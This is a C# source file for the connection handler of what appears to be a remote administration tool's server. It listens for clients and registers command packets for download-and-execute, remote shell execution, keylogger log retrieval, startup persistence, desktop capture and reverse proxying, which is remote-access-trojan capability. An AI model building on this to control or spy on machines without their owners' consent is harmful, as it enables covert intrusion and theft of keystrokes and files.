using System;
using System.Collections.Generic;
using xServer.Core.Packets;
namespace xServer.Core.Networking
{
public class ConnectionHandler
{
///
/// The Server which this class is handling.
///
private readonly Server _server;
///
/// A hashset containing all unique client IDs that have ever connected to the server.
///
private HashSet AllTimeConnectedClients { get; set; }
///
/// The number of all unique clients which have ever connected to the server.
///
public int AllTimeConnectedClientsCount { get { return AllTimeConnectedClients.Count; } }
///
/// The amount of currently connected and authenticated clients.
///
public int ConnectedAndAuthenticatedClients { get; set; }
///
/// The listening state of the server. True if listening, else False.
///
public bool Listening { get { return _server.Listening; } }
///
/// The total amount of received bytes.
///
public long BytesReceived { get { return _server.BytesReceived; } }
///
/// The total amount of sent bytes.
///
public long BytesSent { get { return _server.BytesSent; } }
///
/// Occurs when the state of the server changes.
///
public event ServerStateEventHandler ServerState;
///
/// Represents a method that will handle a change in the server's state.
///
/// The new listening state of the server.
public delegate void ServerStateEventHandler(ushort port, bool listening);
///
/// Fires an event that informs subscribers that the server has changed it's state.
///
/// The server which changed it's state.
/// The new listening state of the server.
private void OnServerState(Server server, bool listening)
{
if (ServerState != null)
{
ServerState(server.Port, listening);
}
}
///
/// Occurs when a client connected.
///
public event ClientConnectedEventHandler ClientConnected;
///
/// Represents the method that will handle the connected client.
///
/// The connected client.
public delegate void ClientConnectedEventHandler(Client client);
///
/// Fires an event that informs subscribers that the client is connected.
///
/// The connected client.
private void OnClientConnected(Client client)
{
if (ClientConnected != null)
{
ClientConnected(client);
}
}
///
/// Occurs when a client disconnected.
///
public event ClientDisconnectedEventHandler ClientDisconnected;
///
/// Represents the method that will handle the disconnected client.
///
/// The disconnected client.
public delegate void ClientDisconnectedEventHandler(Client client);
///
/// Fires an event that informs subscribers that the client is disconnected.
///
/// The disconnected client.
private void OnClientDisconnected(Client client)
{
if (ClientDisconnected != null)
{
ClientDisconnected(client);
}
}
///
/// Constructor, initializes required objects and subscribes to events of the server.
///
public ConnectionHandler()
{
AllTimeConnectedClients = new HashSet();
_server = new Server();
_server.AddTypesToSerializer(typeof(IPacket), new Type[]
{
typeof (Packets.ServerPackets.GetAuthentication),
typeof (Packets.ServerPackets.DoClientDisconnect),
typeof (Packets.ServerPackets.DoClientReconnect),
typeof (Packets.ServerPackets.DoClientUninstall),
typeof (Packets.ServerPackets.DoDownloadAndExecute),
typeof (Packets.ServerPackets.DoUploadAndExecute),
typeof (Packets.ServerPackets.GetDesktop),
typeof (Packets.ServerPackets.GetProcesses),
typeof (Packets.ServerPackets.DoProcessKill),
typeof (Packets.ServerPackets.DoProcessStart),
typeof (Packets.ServerPackets.GetDrives),
typeof (Packets.ServerPackets.GetDirectory),
typeof (Packets.ServerPackets.DoDownloadFile),
typeof (Packets.ServerPackets.DoMouseClick),
typeof (Packets.ServerPackets.GetSystemInfo),
typeof (Packets.ServerPackets.DoVisitWebsite),
typeof (Packets.ServerPackets.DoShowMessageBox),
typeof (Packets.ServerPackets.DoClientUpdate),
typeof (Packets.ServerPackets.GetMonitors),
typeof (Packets.ServerPackets.DoShellExecute),
typeof (Packets.ServerPackets.DoPathRename),
typeof (Packets.ServerPackets.DoPathDelete),
typeof (Packets.ServerPackets.DoShutdownAction),
typeof (Packets.ServerPackets.GetStartupItems),
typeof (Packets.ServerPackets.DoStartupItemAdd),
typeof (Packets.ServerPackets.DoStartupItemRemove),
typeof (Packets.ServerPackets.DoDownloadFileCancel),
typeof (Packets.ServerPackets.GetKeyloggerLogs),
typeof (Packets.ServerPackets.DoUploadFile),
typeof (Packets.ClientPackets.GetAuthenticationResponse),
typeof (Packets.ClientPackets.SetStatus),
typeof (Packets.ClientPackets.SetUserStatus),
typeof (Packets.ClientPackets.GetDesktopResponse),
typeof (Packets.ClientPackets.GetProcessesResponse),
typeof (Packets.ClientPackets.GetDrivesResponse),
typeof (Packets.ClientPackets.GetDirectoryResponse),
typeof (Packets.ClientPackets.DoDownloadFileResponse),
typeof (Packets.ClientPackets.GetSystemInfoResponse),
typeof (Packets.ClientPackets.GetMonitorsResponse),
typeof (Packets.ClientPackets.DoShellExecuteResponse),
typeof (Packets.ClientPackets.GetStartupItemsResponse),
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),
typeof (ReverseProxy.Packets.ReverseProxyDisconnect)
});
_server.ServerState += OnServerState;
_server.ClientState += ClientState;
_server.ClientRead += ClientRead;
}
///
/// Counts the unique client ID to all time connected clients.
///
///
/// If the client already connected before, the client ID won't be added.
///
/// The ID to add.
public void CountAllTimeConnectedClientById(string id)
{
AllTimeConnectedClients.Add(id);
}
///
/// Begins listening for clients.
///
/// Port to listen for clients on.
public void Listen(ushort port)
{
if (!_server.Listening) _server.Listen(port);
}
///
/// Disconnect the server from all of the clients and discontinue
/// listening (placing the server in an "off" state).
///
public void Disconnect()
{
if (_server.Listening) _server.Disconnect();
}
///
/// Decides if the client connected or disconnected.
///
/// The server the client is connected to.
/// The client which changed its state.
/// True if the client connected, false if disconnected.
private void ClientState(Server server, Client client, bool connected)
{
switch (connected)
{
case true:
OnClientConnected(client);
break;
case false:
OnClientDisconnected(client);
break;
}
}
///
/// Forwards received packets from the client to the PacketHandler.
///
/// The server the client is connected to.
/// The client which has received the packet.
/// The received packet.
private void ClientRead(Server server, Client client, IPacket packet)
{
PacketHandler.HandlePacket(client, packet);
}
}
}